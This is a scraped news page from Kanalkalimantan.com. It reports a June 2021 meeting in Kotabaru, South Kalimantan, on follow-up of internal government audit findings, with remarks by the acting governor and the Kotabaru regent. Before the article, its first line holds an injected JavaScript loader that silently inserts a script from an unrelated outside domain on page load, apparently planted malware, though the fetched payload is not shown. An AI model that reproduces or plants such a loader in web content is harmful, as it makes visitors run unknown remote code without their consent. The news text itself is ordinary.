(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Rapat Pemutahiran Tindak Lanjut Hasil Pemeriksaan (TLHP) APIP Kalimantan Selatan yang berlangsung di Ballroom Grand Surya di Kotabaru, Senin (28/6/2021).
Kegiatan yang dipimpin langsung pejabat Gubernur Kalsel Safrizal ZA ini juga diikuti kepala daerah dan Inspektur Provinsi, Kabupaten/Kota Kalsel.
Hadir juga adalam kegiatan Inspektur Jenderal Kemendagri Tumpak Haposan Simanjuntak dan Kepala Bagian Analisa dan Evaluasi Hasil Pengawasan Inspektorat Jenderal Kemendagri Maharina Desimaria.
Agenda tahunan ini bertujuan meningkatkan kualitas dan sumberdaya aparat pengawas internal pemerintah yang handal, sehingga bisa bersaing dengan provinsi lainnya di Indonesia.
Baca juga:Â GEGER. Video Perempuan Injak-injak Alquran dan Bendera Merah Putih
Pj Gubernur Kalsel Safrizal ZA dalam arahannya mengatakan, secara statistik daerah di Kalsel sudah beberapa kali mendapatkan WTP. Tentunya, prestasi ini harus dipertahankan dengan implementasi dan penguatan sumberdaya aparat pengawas internal pemerintah.
“Semua harus bergerak bersama untuk memajukan dan meningkatkan tata kelola keuangan daerah,” ucapnya.
Jika ini terwujud akan berdampak positif bagi keuangan daerah dan juga negara untuk dimanfaatkan sebesar besarnya bagi kepentingan masyarakat.
“Kita bukan hanya berlomba mendapatkan WTP saja, akan tetapi yang juga penting adalah bagaimana bisa meningkatkan pendapatan daerah/negara untuk dimanfaatkan bagi kesejahteraan rakyat,” tekan gubernur.
Sementara Bupati Kotabaru Sayed Jafar dalam sambutannya, memaparkan, data dan informasi merupakan sumber daya yang sangat strategis. Dalam hal ini karena erat kaitannya dengan pengambilan keputusan dalam menetapkan arah kebijakan dan strategi pembangunan yang tepat.
“Ya, kegiatan pemutahiran data ini dalam rangka koordinasi, komunikasi, evaluasi, dan implementasi masing masing daerah,” ucap Bupati.
Baca juga:Â Walhi Sebut Program Ketahanan Pangan Sejak Soeharto Kerap Gagal karena Ada Aktor Korporasi
Dikatakan, tindak lanjut hasil pemeriksaan aparat pengawas pemerintah untuk memperbaiki dan menyempurnakan kinerja aparatur dan instansi pemerintah.
Sayed Jafar menambahkan, sebagai Aparat Pengawasan Intern Pemerintah (APIP) harus memiliki kinerja yang lebih baik dalam memperbaiki sistem yang ada untuk meningkatkan sinergitas dengan pengawas eksternal.
Ia pun, berharap dengan adanya acara ini dapat meningkatkan kesadaran dan tanggungjawab pimpinan unit kerja, dan menjadi instansi objek pemeriksaan untuk meningkatkan koordinasi dengan aparat pengawasan dengan objek pemeriksaan. (Kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.